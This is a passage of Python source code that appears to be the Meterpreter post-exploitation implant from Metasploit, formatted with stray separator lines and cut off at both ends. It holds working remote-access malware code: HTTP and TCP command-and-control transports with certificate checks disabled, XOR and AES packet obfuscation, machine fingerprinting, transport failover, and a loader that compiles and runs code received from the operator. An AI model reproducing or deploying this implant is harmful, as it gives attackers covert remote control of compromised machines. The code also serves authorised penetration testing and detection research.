channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
|
|
try:
|
|
length = self.sock.sendto(channel_data, peer_address)
|
|
except socket.error:
|
|
self.close()
|
|
self._is_alive = False
|
|
status = ERROR_FAILURE
|
|
else:
|
|
response += tlv_pack(TLV_TYPE_LENGTH, length)
|
|
status = ERROR_SUCCESS
|
|
return status, response
|
|
|
|
def read(self, length):
|
|
return self.sock.recvfrom(length)[0]
|
|
|
|
def write(self, data):
|
|
self.sock.sendto(data, self.peer_address)
|
|
export(MeterpreterSocketUDPClient)
|
|
|
|
class STDProcessBuffer(threading.Thread):
|
|
def __init__(self, std, is_alive):
|
|
threading.Thread.__init__(self)
|
|
self.std = std
|
|
self.is_alive = is_alive
|
|
self.data = bytes()
|
|
self.data_lock = threading.RLock()
|
|
|
|
def run(self):
|
|
for byte in iter(lambda: self.std.read(1), bytes()):
|
|
self.data_lock.acquire()
|
|
self.data += byte
|
|
self.data_lock.release()
|
|
|
|
def is_read_ready(self):
|
|
return len(self.data) != 0
|
|
|
|
def peek(self, l = None):
|
|
data = bytes()
|
|
self.data_lock.acquire()
|
|
if l == None:
|
|
data = self.data
|
|
else:
|
|
data = self.data[0:l]
|
|
self.data_lock.release()
|
|
return data
|
|
|
|
def read(self, l = None):
|
|
self.data_lock.acquire()
|
|
data = self.peek(l)
|
|
self.data = self.data[len(data):]
|
|
self.data_lock.release()
|
|
return data
|
|
|
|
#@export
|
|
class STDProcess(subprocess.Popen):
|
|
def __init__(self, *args, **kwargs):
|
|
debug_print('[*] starting process: ' + repr(args[0]))
|
|
subprocess.Popen.__init__(self, *args, **kwargs)
|
|
self.echo_protection = False
|
|
|
|
def is_alive(self):
|
|
return self.poll() is None
|
|
|
|
def start(self):
|
|
self.stdout_reader = STDProcessBuffer(self.stdout, self.is_alive)
|
|
self.stdout_reader.start()
|
|
self.stderr_reader = STDProcessBuffer(self.stderr, self.is_alive)
|
|
self.stderr_reader.start()
|
|
|
|
def write(self, channel_data):
|
|
length = self.stdin.write(channel_data)
|
|
self.stdin.flush()
|
|
if self.echo_protection:
|
|
end_time = time.time() + 0.5
|
|
out_data = bytes()
|
|
while (time.time() < end_time) and (out_data != channel_data):
|
|
if self.stdout_reader.is_read_ready():
|
|
out_data = self.stdout_reader.peek(len(channel_data))
|
|
if out_data == channel_data:
|
|
self.stdout_reader.read(len(channel_data))
|
|
return length
|
|
export(STDProcess)
|
|
|
|
class Transport(object):
|
|
def __init__(self):
|
|
self.communication_timeout = SESSION_COMMUNICATION_TIMEOUT
|
|
self.communication_last = 0
|
|
self.retry_total = SESSION_RETRY_TOTAL
|
|
self.retry_wait = SESSION_RETRY_WAIT
|
|
self.request_retire = False
|
|
self.aes_enabled = False
|
|
self.aes_key = None
|
|
|
|
def __repr__(self):
|
|
return "<{0} url='{1}' >".format(self.__class__.__name__, self.url)
|
|
|
|
@property
|
|
def communication_has_expired(self):
|
|
return self.communication_last + self.communication_timeout < time.time()
|
|
|
|
@property
|
|
def should_retire(self):
|
|
return self.communication_has_expired or self.request_retire
|
|
|
|
@staticmethod
|
|
def from_request(request):
|
|
url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value']
|
|
if url.startswith('tcp'):
|
|
transport = TcpTransport(url)
|
|
elif url.startswith('http'):
|
|
proxy = packet_get_tlv(request, TLV_TYPE_TRANS_PROXY_HOST).get('value')
|
|
user_agent = packet_get_tlv(request, TLV_TYPE_TRANS_UA).get('value', HTTP_USER_AGENT)
|
|
http_headers = packet_get_tlv(request, TLV_TYPE_TRANS_HEADERS).get('value', None)
|
|
transport = HttpTransport(url, proxy=proxy, user_agent=user_agent)
|
|
if http_headers:
|
|
headers = {}
|
|
for h in http_headers.strip().split("\r\n"):
|
|
p = h.split(':')
|
|
headers[p[0].upper()] = ''.join(p[1:0])
|
|
http_host = headers.get('HOST')
|
|
http_cookie = headers.get('COOKIE')
|
|
http_referer = headers.get('REFERER')
|
|
transport = HttpTransport(url, proxy=proxy, user_agent=user_agent, http_host=http_host,
|
|
http_cookie=http_cookie, http_referer=http_referer)
|
|
transport.communication_timeout = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value', SESSION_COMMUNICATION_TIMEOUT)
|
|
transport.retry_total = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value', SESSION_RETRY_TOTAL)
|
|
transport.retry_wait = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value', SESSION_RETRY_WAIT)
|
|
return transport
|
|
|
|
def _activate(self):
|
|
return True
|
|
|
|
def activate(self):
|
|
self.aes_key = None
|
|
self.aes_enabled = False
|
|
end_time = time.time() + self.retry_total
|
|
while time.time() < end_time:
|
|
try:
|
|
activate_succeeded = self._activate()
|
|
except:
|
|
activate_succeeded = False
|
|
if activate_succeeded:
|
|
self.communication_last = time.time()
|
|
return True
|
|
time.sleep(self.retry_wait)
|
|
return False
|
|
|
|
def _deactivate(self):
|
|
return
|
|
|
|
def deactivate(self):
|
|
try:
|
|
self._deactivate()
|
|
except:
|
|
pass
|
|
self.communication_last = 0
|
|
return True
|
|
|
|
def decrypt_packet(self, pkt):
|
|
if pkt and len(pkt) > PACKET_HEADER_SIZE:
|
|
xor_key = struct.unpack('BBBB', pkt[:PACKET_XOR_KEY_SIZE])
|
|
raw = xor_bytes(xor_key, pkt)
|
|
enc_offset = PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE
|
|
enc_flag = struct.unpack('>I', raw[enc_offset:enc_offset+PACKET_ENCRYPT_FLAG_SIZE])[0]
|
|
if enc_flag == ENC_AES256:
|
|
iv = raw[PACKET_HEADER_SIZE:PACKET_HEADER_SIZE+16]
|
|
encrypted = raw[PACKET_HEADER_SIZE+len(iv):]
|
|
return met_aes_decrypt(self.aes_key, iv, encrypted)
|
|
else:
|
|
return raw[PACKET_HEADER_SIZE:]
|
|
return None
|
|
|
|
def get_packet(self):
|
|
self.request_retire = False
|
|
try:
|
|
pkt = self.decrypt_packet(self._get_packet())
|
|
except:
|
|
debug_traceback()
|
|
return None
|
|
if pkt is None:
|
|
return None
|
|
self.communication_last = time.time()
|
|
return pkt
|
|
|
|
def encrypt_packet(self, pkt):
|
|
# The packet now has to contain session GUID and encryption flag info
|
|
# And given that we're not yet supporting AES, we're going to just
|
|
# always return the session guid and the encryption flag set to 0
|
|
enc_type = ENC_NONE
|
|
if self.aes_key:
|
|
# The encryption key is present, but we should only used the key
|
|
# when it is enabled. If we use it before it's enabled, then we
|
|
# end up encrypting the packet that contains the key before
|
|
# sending it back to MSF, and it won't be able to decrypt it yet.
|
|
if self.aes_enabled:
|
|
iv = rand_bytes(16)
|
|
enc = iv + met_aes_encrypt(self.aes_key, iv, pkt[8:])
|
|
hdr = struct.pack('>I', len(enc) + 8) + pkt[4:8]
|
|
pkt = hdr + enc
|
|
# We change the packet encryption type to tell MSF that
|
|
# the packet is encrypted.
|
|
enc_type = ENC_AES256
|
|
else:
|
|
# If we get here, it means that the AES encryption key
|
|
# is ready to use from this point onwards as the last
|
|
# plain text packet has been sent back to MSF containing
|
|
# the key, and so MSF will be able to handle encrypted
|
|
# communications from here.
|
|
self.aes_enabled = True
|
|
|
|
xor_key = rand_xor_key()
|
|
raw = binascii.a2b_hex(bytes(SESSION_GUID, 'UTF-8')) + struct.pack('>I', enc_type) + pkt
|
|
result = struct.pack('BBBB', *xor_key) + xor_bytes(xor_key, raw)
|
|
return result
|
|
|
|
def send_packet(self, pkt):
|
|
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
|
self.request_retire = False
|
|
try:
|
|
self._send_packet(self.encrypt_packet(pkt))
|
|
except:
|
|
debug_traceback()
|
|
return False
|
|
self.communication_last = time.time()
|
|
return True
|
|
|
|
def tlv_pack_timeouts(self):
|
|
response = tlv_pack(TLV_TYPE_TRANS_COMM_TIMEOUT, self.communication_timeout)
|
|
response += tlv_pack(TLV_TYPE_TRANS_RETRY_TOTAL, self.retry_total)
|
|
response += tlv_pack(TLV_TYPE_TRANS_RETRY_WAIT, self.retry_wait)
|
|
return response
|
|
|
|
def tlv_pack_transport_group(self):
|
|
trans_group = tlv_pack(TLV_TYPE_TRANS_URL, self.url)
|
|
trans_group += self.tlv_pack_timeouts()
|
|
return trans_group
|
|
|
|
class HttpTransport(Transport):
|
|
def __init__(self, url, proxy=None, user_agent=None, http_host=None, http_referer=None, http_cookie=None):
|
|
super(HttpTransport, self).__init__()
|
|
opener_args = []
|
|
scheme = url.split(':', 1)[0]
|
|
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2, 7, 9)) or sys.version_info >= (3, 4, 3)):
|
|
import ssl
|
|
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
|
|
ssl_ctx.check_hostname = False
|
|
ssl_ctx.verify_mode = ssl.CERT_NONE
|
|
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
|
|
if proxy:
|
|
opener_args.append(urllib.ProxyHandler({scheme: proxy}))
|
|
opener_args.append(urllib.ProxyBasicAuthHandler())
|
|
self.proxy = proxy
|
|
opener = urllib.build_opener(*opener_args)
|
|
opener.addheaders = []
|
|
if user_agent:
|
|
opener.addheaders.append(('User-Agent', user_agent))
|
|
if http_cookie:
|
|
opener.addheaders.append(('Cookie', http_cookie))
|
|
if http_referer:
|
|
opener.addheaders.append(('Referer', http_referer))
|
|
self.user_agent = user_agent
|
|
urllib.install_opener(opener)
|
|
self.url = url
|
|
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
|
|
if http_host:
|
|
self._http_request_headers['Host'] = http_host
|
|
self._first_packet = None
|
|
self._empty_cnt = 0
|
|
|
|
def _activate(self):
|
|
return True
|
|
self._first_packet = None
|
|
packet = self._get_packet()
|
|
if packet is None:
|
|
return False
|
|
self._first_packet = packet
|
|
return True
|
|
|
|
def _get_packet(self):
|
|
if self._first_packet:
|
|
packet = self._first_packet
|
|
self._first_packet = None
|
|
return packet
|
|
packet = None
|
|
xor_key = None
|
|
request = urllib.Request(self.url, None, self._http_request_headers)
|
|
urlopen_kwargs = {}
|
|
if sys.version_info > (2, 6):
|
|
urlopen_kwargs['timeout'] = self.communication_timeout
|
|
try:
|
|
url_h = urllib.urlopen(request, **urlopen_kwargs)
|
|
packet = url_h.read()
|
|
for _ in range(1):
|
|
if packet == '':
|
|
break
|
|
if len(packet) < PACKET_HEADER_SIZE:
|
|
packet = None # looks corrupt
|
|
break
|
|
xor_key = struct.unpack('BBBB', packet[:PACKET_XOR_KEY_SIZE])
|
|
header = xor_bytes(xor_key, packet[:PACKET_HEADER_SIZE])
|
|
pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF+PACKET_LENGTH_SIZE])[0] - 8
|
|
if len(packet) != (pkt_length + PACKET_HEADER_SIZE):
|
|
packet = None # looks corrupt
|
|
except:
|
|
debug_traceback('Failure to receive packet from ' + self.url)
|
|
|
|
if not packet:
|
|
delay = 10 * self._empty_cnt
|
|
if self._empty_cnt >= 0:
|
|
delay *= 10
|
|
self._empty_cnt += 1
|
|
time.sleep(float(min(10000, delay)) / 1000)
|
|
return packet
|
|
|
|
self._empty_cnt = 0
|
|
return packet
|
|
|
|
def _send_packet(self, packet):
|
|
request = urllib.Request(self.url, packet, self._http_request_headers)
|
|
urlopen_kwargs = {}
|
|
if sys.version_info > (2, 6):
|
|
urlopen_kwargs['timeout'] = self.communication_timeout
|
|
url_h = urllib.urlopen(request, **urlopen_kwargs)
|
|
response = url_h.read()
|
|
|
|
def patch_uri_path(self, new_path):
|
|
match = re.match(r'https?://[^/]+(/.*$)', self.url)
|
|
if match is None:
|
|
return False
|
|
self.url = self.url[:match.span(1)[0]] + new_path
|
|
return True
|
|
|
|
def tlv_pack_transport_group(self):
|
|
trans_group = super(HttpTransport, self).tlv_pack_transport_group()
|
|
if self.user_agent:
|
|
trans_group += tlv_pack(TLV_TYPE_TRANS_UA, self.user_agent)
|
|
if self.proxy:
|
|
trans_group += tlv_pack(TLV_TYPE_TRANS_PROXY_HOST, self.proxy)
|
|
return trans_group
|
|
|
|
class TcpTransport(Transport):
|
|
def __init__(self, url, socket=None):
|
|
super(TcpTransport, self).__init__()
|
|
self.url = url
|
|
self.socket = socket
|
|
self._cleanup_thread = None
|
|
self._first_packet = True
|
|
|
|
def _sock_cleanup(self, sock):
|
|
remaining_time = self.communication_timeout
|
|
while remaining_time > 0:
|
|
iter_start_time = time.time()
|
|
if select.select([sock], [], [], remaining_time)[0]:
|
|
if len(sock.recv(4096)) == 0:
|
|
break
|
|
remaining_time -= time.time() - iter_start_time
|
|
sock.close()
|
|
|
|
def _activate(self):
|
|
address, port = self.url[6:].rsplit(':', 1)
|
|
port = int(port.rstrip('/'))
|
|
timeout = max(self.communication_timeout, 30)
|
|
if address in ('', '0.0.0.0', '::'):
|
|
try:
|
|
server_sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
|
|
server_sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
|
|
except (AttributeError, socket.error):
|
|
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
server_sock.bind(('', port))
|
|
server_sock.listen(1)
|
|
if not select.select([server_sock], [], [], timeout)[0]:
|
|
server_sock.close()
|
|
return False
|
|
sock, _ = server_sock.accept()
|
|
server_sock.close()
|
|
else:
|
|
if ':' in address:
|
|
sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
|
|
else:
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
sock.settimeout(timeout)
|
|
sock.connect((address, port))
|
|
sock.settimeout(None)
|
|
self.socket = sock
|
|
self._first_packet = True
|
|
return True
|
|
|
|
def _deactivate(self):
|
|
cleanup = threading.Thread(target=self._sock_cleanup, args=(self.socket,))
|
|
cleanup.run()
|
|
self.socket = None
|
|
|
|
def _get_packet(self):
|
|
first = self._first_packet
|
|
self._first_packet = False
|
|
if not select.select([self.socket], [], [], 0.5)[0]:
|
|
return bytes()
|
|
packet = self.socket.recv(PACKET_HEADER_SIZE)
|
|
if packet == '': # remote is closed
|
|
self.request_retire = True
|
|
return None
|
|
if len(packet) != PACKET_HEADER_SIZE:
|
|
if first and len(packet) == 4:
|
|
received = 0
|
|
header = packet[:4]
|
|
pkt_length = struct.unpack('>I', header)[0]
|
|
self.socket.settimeout(max(self.communication_timeout, 30))
|
|
while received < pkt_length:
|
|
received += len(self.socket.recv(pkt_length - received))
|
|
self.socket.settimeout(None)
|
|
return self._get_packet()
|
|
return None
|
|
|
|
xor_key = struct.unpack('BBBB', packet[:PACKET_XOR_KEY_SIZE])
|
|
# XOR the whole header first
|
|
header = xor_bytes(xor_key, packet[:PACKET_HEADER_SIZE])
|
|
# Extract just the length
|
|
pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF+PACKET_LENGTH_SIZE])[0]
|
|
pkt_length -= 8
|
|
# Read the rest of the packet
|
|
rest = bytes()
|
|
while len(rest) < pkt_length:
|
|
rest += self.socket.recv(pkt_length - len(rest))
|
|
# return the whole packet, as it's decoded separately
|
|
return packet + rest
|
|
|
|
def _send_packet(self, packet):
|
|
self.socket.send(packet)
|
|
|
|
@classmethod
|
|
def from_socket(cls, sock):
|
|
url = 'tcp://'
|
|
address, port = sock.getsockname()[:2]
|
|
# this will need to be changed if the bind stager ever supports binding to a specific address
|
|
if not address in ('', '0.0.0.0', '::'):
|
|
address, port = sock.getpeername()[:2]
|
|
url += address + ':' + str(port)
|
|
return cls(url, sock)
|
|
|
|
class PythonMeterpreter(object):
|
|
def __init__(self, transport):
|
|
self.transport = transport
|
|
self._transport_sleep = None
|
|
self.running = False
|
|
self.last_registered_extension = None
|
|
self.extension_functions = {}
|
|
self.channels = {}
|
|
self.next_channel_id = 1
|
|
self.interact_channels = []
|
|
self.processes = {}
|
|
self.next_process_id = 1
|
|
self.transports = [self.transport]
|
|
self.session_expiry_time = SESSION_EXPIRATION_TIMEOUT
|
|
self.session_expiry_end = time.time() + self.session_expiry_time
|
|
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
|
|
self.extension_functions[func[1:]] = getattr(self, func)
|
|
self.running = True
|
|
|
|
def register_extension(self, extension_name):
|
|
self.last_registered_extension = extension_name
|
|
return self.last_registered_extension
|
|
|
|
def register_function(self, func):
|
|
self.extension_functions[func.__name__] = func
|
|
return func
|
|
|
|
def register_function_if(self, condition):
|
|
if condition:
|
|
return self.register_function
|
|
else:
|
|
return lambda function: function
|
|
|
|
def register_function_windll(self, func):
|
|
if has_windll:
|
|
self.register_function(func)
|
|
return func
|
|
|
|
def add_channel(self, channel):
|
|
if not isinstance(channel, MeterpreterChannel):
|
|
debug_print('[-] channel object is not an instance of MeterpreterChannel')
|
|
raise TypeError('invalid channel object')
|
|
idx = self.next_channel_id
|
|
self.channels[idx] = channel
|
|
debug_print('[*] added channel id: ' + str(idx) + ' type: ' + channel.__class__.__name__)
|
|
self.next_channel_id += 1
|
|
return idx
|
|
|
|
def add_process(self, process):
|
|
idx = self.next_process_id
|
|
self.processes[idx] = process
|
|
debug_print('[*] added process id: ' + str(idx))
|
|
self.next_process_id += 1
|
|
return idx
|
|
|
|
def get_packet(self):
|
|
pkt = self.transport.get_packet()
|
|
if pkt is None and self.transport.should_retire:
|
|
self.transport_change()
|
|
return pkt
|
|
|
|
def send_packet(self, packet):
|
|
send_succeeded = self.transport.send_packet(packet)
|
|
if not send_succeeded and self.transport.should_retire:
|
|
self.transport_change()
|
|
return send_succeeded
|
|
|
|
@property
|
|
def session_has_expired(self):
|
|
if self.session_expiry_time == 0:
|
|
return False
|
|
return time.time() > self.session_expiry_end
|
|
|
|
def transport_add(self, new_transport):
|
|
new_position = self.transports.index(self.transport)
|
|
self.transports.insert(new_position, new_transport)
|
|
|
|
def transport_change(self, new_transport=None):
|
|
if new_transport is None:
|
|
new_transport = self.transport_next()
|
|
self.transport.deactivate()
|
|
debug_print('[*] changing transport to: ' + new_transport.url)
|
|
while not new_transport.activate():
|
|
new_transport = self.transport_next(new_transport)
|
|
debug_print('[*] changing transport to: ' + new_transport.url)
|
|
self.transport = new_transport
|
|
|
|
def transport_next(self, current_transport=None):
|
|
if current_transport is None:
|
|
current_transport = self.transport
|
|
new_idx = self.transports.index(current_transport) + 1
|
|
if new_idx == len(self.transports):
|
|
new_idx = 0
|
|
return self.transports[new_idx]
|
|
|
|
def transport_prev(self, current_transport=None):
|
|
if current_transport is None:
|
|
current_transport = self.transport
|
|
new_idx = self.transports.index(current_transport) - 1
|
|
if new_idx == -1:
|
|
new_idx = len(self.transports) - 1
|
|
return self.transports[new_idx]
|
|
|
|
def run(self):
|
|
while self.running and not self.session_has_expired:
|
|
request = self.get_packet()
|
|
if request:
|
|
response = self.create_response(request)
|
|
if response:
|
|
self.send_packet(response)
|
|
if self._transport_sleep:
|
|
self.transport.deactivate()
|
|
time.sleep(self._transport_sleep)
|
|
self._transport_sleep = None
|
|
if not self.transport.activate():
|
|
self.transport_change()
|
|
continue
|
|
# iterate over the keys because self.channels could be modified if one is closed
|
|
channel_ids = list(self.channels.keys())
|
|
for channel_id in channel_ids:
|
|
channel = self.channels[channel_id]
|
|
data = bytes()
|
|
write_request_parts = []
|
|
if isinstance(channel, MeterpreterProcess):
|
|
if not channel_id in self.interact_channels:
|
|
continue
|
|
proc_h = channel.proc_h
|
|
if proc_h.stderr_reader.is_read_ready():
|
|
data = proc_h.stderr_reader.read()
|
|
elif proc_h.stdout_reader.is_read_ready():
|
|
data = proc_h.stdout_reader.read()
|
|
elif not channel.is_alive():
|
|
self.handle_dead_resource_channel(channel_id)
|
|
elif isinstance(channel, MeterpreterSocketTCPClient):
|
|
while select.select([channel.fileno()], [], [], 0)[0]:
|
|
try:
|
|
d = channel.read(1)
|
|
except socket.error:
|
|
d = bytes()
|
|
if len(d) == 0:
|
|
self.handle_dead_resource_channel(channel_id)
|
|
break
|
|
data += d
|
|
elif isinstance(channel, MeterpreterSocketTCPServer):
|
|
if select.select([channel.fileno()], [], [], 0)[0]:
|
|
(client_sock, client_addr) = channel.sock.accept()
|
|
server_addr = channel.sock.getsockname()
|
|
client_channel_id = self.add_channel(MeterpreterSocketTCPClient(client_sock))
|
|
self.send_packet(tlv_pack_request('stdapi_net_tcp_channel_open', [
|
|
{'type': TLV_TYPE_CHANNEL_ID, 'value': client_channel_id},
|
|
{'type': TLV_TYPE_CHANNEL_PARENTID, 'value': channel_id},
|
|
{'type': TLV_TYPE_LOCAL_HOST, 'value': inet_pton(channel.sock.family, server_addr[0])},
|
|
{'type': TLV_TYPE_LOCAL_PORT, 'value': server_addr[1]},
|
|
{'type': TLV_TYPE_PEER_HOST, 'value': inet_pton(client_sock.family, client_addr[0])},
|
|
{'type': TLV_TYPE_PEER_PORT, 'value': client_addr[1]},
|
|
]))
|
|
elif isinstance(channel, MeterpreterSocketUDPClient):
|
|
if select.select([channel.fileno()], [], [], 0)[0]:
|
|
try:
|
|
data, peer_address = channel.sock.recvfrom(65535)
|
|
except socket.error:
|
|
self.handle_dead_resource_channel(channel_id)
|
|
else:
|
|
write_request_parts.extend([
|
|
{'type': TLV_TYPE_PEER_HOST, 'value': peer_address[0]},
|
|
{'type': TLV_TYPE_PEER_PORT, 'value': peer_address[1]},
|
|
])
|
|
if data:
|
|
write_request_parts.extend([
|
|
{'type': TLV_TYPE_CHANNEL_ID, 'value': channel_id},
|
|
{'type': TLV_TYPE_CHANNEL_DATA, 'value': data},
|
|
{'type': TLV_TYPE_LENGTH, 'value': len(data)},
|
|
])
|
|
self.send_packet(tlv_pack_request('core_channel_write', write_request_parts))
|
|
|
|
def handle_dead_resource_channel(self, channel_id):
|
|
del self.channels[channel_id]
|
|
if channel_id in self.interact_channels:
|
|
self.interact_channels.remove(channel_id)
|
|
self.send_packet(tlv_pack_request('core_channel_close', [
|
|
{'type': TLV_TYPE_CHANNEL_ID, 'value': channel_id},
|
|
]))
|
|
|
|
def _core_set_uuid(self, request, response):
|
|
new_uuid = packet_get_tlv(request, TLV_TYPE_UUID)
|
|
if new_uuid:
|
|
PAYLOAD_UUID = binascii.b2a_hex(new_uuid['value'])
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _core_enumextcmd(self, request, response):
|
|
id_start = packet_get_tlv(request, TLV_TYPE_UINT)['value']
|
|
id_end = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] + id_start
|
|
for func_name in self.extension_functions.keys():
|
|
command_id = cmd_string_to_id(func_name)
|
|
if command_id is None:
|
|
continue
|
|
if id_start < command_id and command_id < id_end:
|
|
response += tlv_pack(TLV_TYPE_UINT, command_id)
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _core_get_session_guid(self, request, response):
|
|
response += tlv_pack(TLV_TYPE_SESSION_GUID, binascii.a2b_hex(bytes(SESSION_GUID, 'UTF-8')))
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _core_set_session_guid(self, request, response):
|
|
new_guid = packet_get_tlv(request, TLV_TYPE_SESSION_GUID)
|
|
if new_guid:
|
|
SESSION_GUID = binascii.b2a_hex(new_guid['value'])
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _core_machine_id(self, request, response):
|
|
serial = ''
|
|
machine_name = platform.uname()[1]
|
|
if has_windll:
|
|
from ctypes import wintypes
|
|
|
|
k32 = ctypes.windll.kernel32
|
|
sys_dir = ctypes.create_unicode_buffer(260)
|
|
if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260):
|
|
return ERROR_FAILURE_WINDOWS
|
|
|
|
vol_buf = ctypes.create_unicode_buffer(260)
|
|
fs_buf = ctypes.create_unicode_buffer(260)
|
|
serial_num = wintypes.DWORD(0)
|
|
|
|
if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]),
|
|
vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None,
|
|
None, fs_buf, ctypes.sizeof(fs_buf)):
|
|
return ERROR_FAILURE_WINDOWS
|
|
serial_num = serial_num.value
|
|
serial = "%04x" % ((serial_num >> 16) & 0xffff) + '-' "%04x" % (serial_num & 0xffff)
|
|
else:
|
|
serial = get_hdd_label()
|
|
|
|
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _core_native_arch(self, request, response):
|
|
response += tlv_pack(TLV_TYPE_STRING, get_native_arch())
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _core_patch_url(self, request, response):
|
|
if not isinstance(self.transport, HttpTransport):
|
|
return ERROR_FAILURE, response
|
|
new_uri_path = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value']
|
|
if not self.transport.patch_uri_path(new_uri_path):
|
|
return ERROR_FAILURE, response
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _core_negotiate_tlv_encryption(self, request, response):
|
|
debug_print('[*] Negotiating TLV encryption')
|
|
self.transport.aes_key = rand_bytes(32)
|
|
self.transport.aes_enabled = False
|
|
response += tlv_pack(TLV_TYPE_SYM_KEY_TYPE, ENC_AES256)
|
|
der = packet_get_tlv(request, TLV_TYPE_RSA_PUB_KEY)['value'].strip()
|
|
debug_print('[*] RSA key: ' + str(binascii.b2a_hex(der)))
|
|
debug_print('[*] AES key: ' + hex(met_rsa.b2i(self.transport.aes_key)))
|
|
enc_key = met_rsa_encrypt(der, self.transport.aes_key)
|
|
debug_print('[*] Encrypted AES key: ' + hex(met_rsa.b2i(enc_key)))
|
|
response += tlv_pack(TLV_TYPE_ENC_SYM_KEY, enc_key)
|
|
debug_print('[*] TLV encryption sorted')
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _core_loadlib(self, request, response):
|
|
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
|
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
|
return ERROR_FAILURE, response
|
|
|
|
libname = '???'
|
|
match = re.search(r'^meterpreter\.register_extension\(\'([a-zA-Z0-9]+)\'\)$', str(data_tlv['value']), re.MULTILINE)
|
|
if match is not None:
|
|
libname = match.group(1)
|
|
|
|
self.last_registered_extension = None
|
|
symbols_for_extensions = {'meterpreter': self}
|
|
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
|
i = code.InteractiveInterpreter(symbols_for_extensions)
|
|
i.runcode(compile(data_tlv['value'], 'ext_server_' + libname + '.py', 'exec'))
|
|
extension_name = self.last_registered_extension
|
|
|
|
if extension_name:
|
|
check_extension = lambda x: x.startswith(extension_name)
|
|
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
|
|
for method in lib_methods:
|
|
response += tlv_pack(TLV_TYPE_UINT, cmd_string_to_id(method))
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _core_shutdown(self, request, response):
|
|
response += tlv_pack(TLV_TYPE_BOOL, True)
|
|
self.running = False
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _core_transport_add(self, request, response):
|
|
new_transport = Transport.from_request(request)
|
|
self.transport_add(new_transport)
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _core_transport_change(self, request, response):
|
|
new_transport = Transport.from_request(request)
|
|
self.transport_add(new_transport)
|
|
self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
|
|
self.transport_change(new_transport)
|
|
return None
|
|
|
|
def _core_transport_list(self, request, response):
|
|
if self.session_expiry_time > 0:
|
|
response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time())
|
|
response += tlv_pack(TLV_TYPE_TRANS_GROUP, self.transport.tlv_pack_transport_group())
|
|
|
|
transport = self.transport_next()
|
|
while transport != self.transport:
|
|
response += tlv_pack(TLV_TYPE_TRANS_GROUP, transport.tlv_pack_transport_group())
|
|
transport = self.transport_next(transport)
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _core_transport_next(self, request, response):
|
|
new_transport = self.transport_next()
|
|
if new_transport == self.transport:
|
|
return ERROR_FAILURE, response
|
|
self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
|
|
self.transport_change(new_transport)
|
|
return None
|
|
|
|
def _core_transport_prev(self, request, response):
|
|
new_transport = self.transport_prev()
|
|
if new_transport == self.transport:
|
|
return ERROR_FAILURE, response
|
|
self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
|
|
self.transport_change(new_transport)
|
|
return None
|
|
|
|
def _core_transport_remove(self, request, response):
|
|
url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value']
|
|
if self.transport.url == url:
|
|
return ERROR_FAILURE, response
|
|
transport_found = False
|
|
for transport in self.transports:
|
|
if transport.url == url:
|
|
transport_found = True
|
|
break
|
|
if transport_found:
|
|
self.transports.remove(transport)
|
|
return ERROR_SUCCESS, response
|
|
return ERROR_FAILURE, response
|
|
|
|
def _core_transport_set_timeouts(self, request, response):
|
|
timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_SESSION_EXP).get('value')
|
|
if not timeout_value is None:
|
|
self.session_expiry_time = timeout_value
|
|
self.session_expiry_end = time.time() + self.session_expiry_time
|
|
timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value')
|
|
if timeout_value:
|
|
self.transport.communication_timeout = timeout_value
|
|
retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value')
|
|
if retry_value:
|
|
self.transport.retry_total = retry_value
|
|
retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value')
|
|
if retry_value:
|
|
